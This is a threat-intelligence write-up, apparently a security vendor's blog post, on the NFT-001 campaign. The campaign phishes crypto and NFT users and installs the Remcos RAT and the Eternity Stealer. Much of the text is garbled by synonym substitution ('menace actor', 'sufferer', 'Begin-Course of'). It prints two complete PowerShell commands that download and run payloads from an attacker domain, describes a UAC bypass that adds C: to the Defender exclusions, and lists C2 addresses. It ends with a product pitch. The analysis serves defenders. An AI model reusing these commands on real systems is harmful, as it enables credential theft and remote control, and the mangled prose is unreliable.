A non-fungible token (NFT) is a report on a blockchain related to a digital or bodily asset—normally a digital file equivalent to a photograph, video, or audio. An NFT’s possession is recorded within the blockchain, and it may be bought and traded. NFTs differ from cryptocurrencies, that are largely fungible, in that NFTs are distinctive and non-substitutable. The NFT market is booming, with buying and selling quantity exploding by over 20,000 % from 2020 to 2021. Cybercriminals have rushed to use this pattern, which the Morphisec Risk Labs workforce has beforehand examined in a white paper. The Risk Labs workforce now has recent analysis on the crypto and NFT malware NFT-001, which first surfaced in November 2020.
The NFT-001 assault sequence sometimes contains the next steps:
- Attackers goal customers in crypto and NFT communities on Discord and different boards
- The sufferer receives a personal phishing message associated to an NFT or monetary alternative. The message features a hyperlink to a pretend web site and malicious app that guarantees an improved person expertise
- The downloaded malware unpacks a distant entry trojan (RAT) that’s used to steal looking information, set up a keylogger, and different surveillance functionalities
- The attacker then makes use of the info for id theft and to steal the sufferer’s pockets and different possessions
The menace actor has now switched from the Babadeda crypter to a brand new staged downloader whereas utilizing the identical supply infrastructure as earlier than. The brand new downloader provides elevated protection evasion talents to this malware.
New NFT-001 Technical Particulars
Morphisec Labs has tracked a number of waves of the NFT malware delivering the Remcos RAT since it first surfaced. In June 2022 we discovered a shift within the crypter used to ship the Remcos RAT. The Babadeda crypter has now been discarded for a brand new staged downloader.
|11/2020 – 07/2021||Customized .NET packer||Remcos||95.217.114[.]96
|07/2021 – 08/2021||Crypto Obfuscator (.NET)||Remcos||135.181.17[.]47||4783|
|08/2021 – 10/2021||BABADEDA||BitRAT||135.181.140[.]182
|11/2021 – 12/2021||BABADEDA utilizing DLL sideloading with IIS Specific||Remcos
|12/2021 – 02/2022||BABADEDA utilizing DLL sideloading with Adobe / TopoEdit||Remcos||193.56.29[.]242||4783|
|01/2022 – 03/2022||BABADEDA utilizing DLL sideloading with Hyperlink.exe||Remcos||157.90.1[.]54||4783|
|April 2022||BABADEDA utilizing DLL sideloading with Adobe||Remcos||145.239.253[.]176||4782|
|07/2022 – *Lively||BABADEDA utilizing DLL sideloading with Mp3tag.exe||Remcos||65.108.9[.]124||4783|
|06/2022 – *Lively||Downloader||Remcos||144.91.79[.]86||4444
The malware supply hasn’t modified a lot. It sends a person a personal message attractive them to obtain a associated utility supposedly granting the person entry to the most recent options. Under is an instance of the phishing message concentrating on customers of “Dune”—an Ethereum-based crypto information analytics platform.
If a person clicks the hyperlink within the message, it directs him to a decoy web site that mimics the unique. There, the person is prompted to obtain the malicious “installer” which infects the sufferer’s machine with the Remcos RAT.
For extra info on the infrastructure, learn Morphisec’s beforehand talked about white paper, “Journey of a Crypto Scammer.”
The New Staged Downloader
The menace actor retains the primary stage “installers” with a low detection price.
The execution begins by performing a Consumer Account Management (UAC) bypass. It hijacks the default handler for the ms-settings protocol and units it to execute a Powershell command that provides the C: folder to the Home windows Defender exclusion record. The code that performs this UAC bypass approach is properly documented within the open-source repository. However the attacker employed it extraordinarily poorly—he did not even trouble to take away pointless WinAPI calls, equivalent to printing to the console.
After excluding the C: folder from Home windows Defender, the next Powershell instructions are de-obfuscated and executed:
1) The primary Powershell command downloads and executes a plain Remcos RAT (C2 – 144.91.79[.]86).
|powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden $ProgressPreference=”SilentlyContinue”; Invoke-WebRequest http://rwwmefkauiaa[.]ru/bs8bo90akv.exe -OutFile “$env:appdata/Microsoft/dllservice.exe”; Begin-Course of -Filepath “$env:appdata/Microsoft/dllservice.exe”|
The C2 utilized in that Remcos RAT was additionally seen within the wild in samples utilizing the Babadeda crypter. This bolsters our suspicion it is the identical menace actor.
2) The second Powershell command downloads and executes Eternity Stealer which steals delicate info from a sufferer’s machine equivalent to:
- Browser info like login credentials, historical past, cookies
- VPN and FTP consumer information
- Messaging software program information
- Password administration software program information
|powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden $ProgressPreference=”SilentlyContinue”; mkdir “$env:appdata/Microsoft/AddIns”; Invoke-WebRequest http://rwwmefkauiaa[.]ru/u84ls.exe -OutFile “$env:appdata/Microsoft/AddIns/exclusions.exe”; Begin-Course of -Filepath “$env:appdata/Microsoft/AddIns/exclusions.exe”|
We additionally seen a variant of this downloader within the Tandem Espionage marketing campaign shares commonalities with this marketing campaign:
- There’s a comparable UAC bypass approach utilizing fodhelper.exe (much less evasive implementation)
- Downloading and executing two malicious executables (Arkei stealer and Eternity stealer)
- The Eternity stealer is downloaded by the very same Powershell command because the second Powershell command from the identical URL
Although the URL downloading the Eternity stealer is the identical, we predict these could also be two completely different menace actors that used the identical downloader as a service.
Defending Towards NFT Malware Like NFT-001
The crypto and NFT communities are on the innovative of economic innovation, and they’re a profitable goal for attackers. This naturally means there’s extra scope for menace actors to use gaps in such quickly evolving know-how. This new staged downloader for NFT-001 is extra evasive than the sooner model, growing its skill to sneak previous conventional cybersecurity options. In keeping with the newest Picus report, protection evasion is now the hottest tactic amongst malware operators.
This tactic is common as a result of there aren’t many efficient instruments towards protection evasion. One such device is Morphisec’s revolutionary Transferring Goal Protection (MTD) know-how, which comprehensively prevents protection evasion methods. In contrast to different cybersecurity options which concentrate on detecting recognized patterns with response playbooks, MTD preemptively blocks assaults on reminiscence and functions and remediates the necessity for a response. To study extra about Morphisec’s revolutionary Transferring Goal Protection know-how, learn the white paper: Zero Belief + Transferring Goal Protection: The Final Ransomware Technique.
Decoy Web sites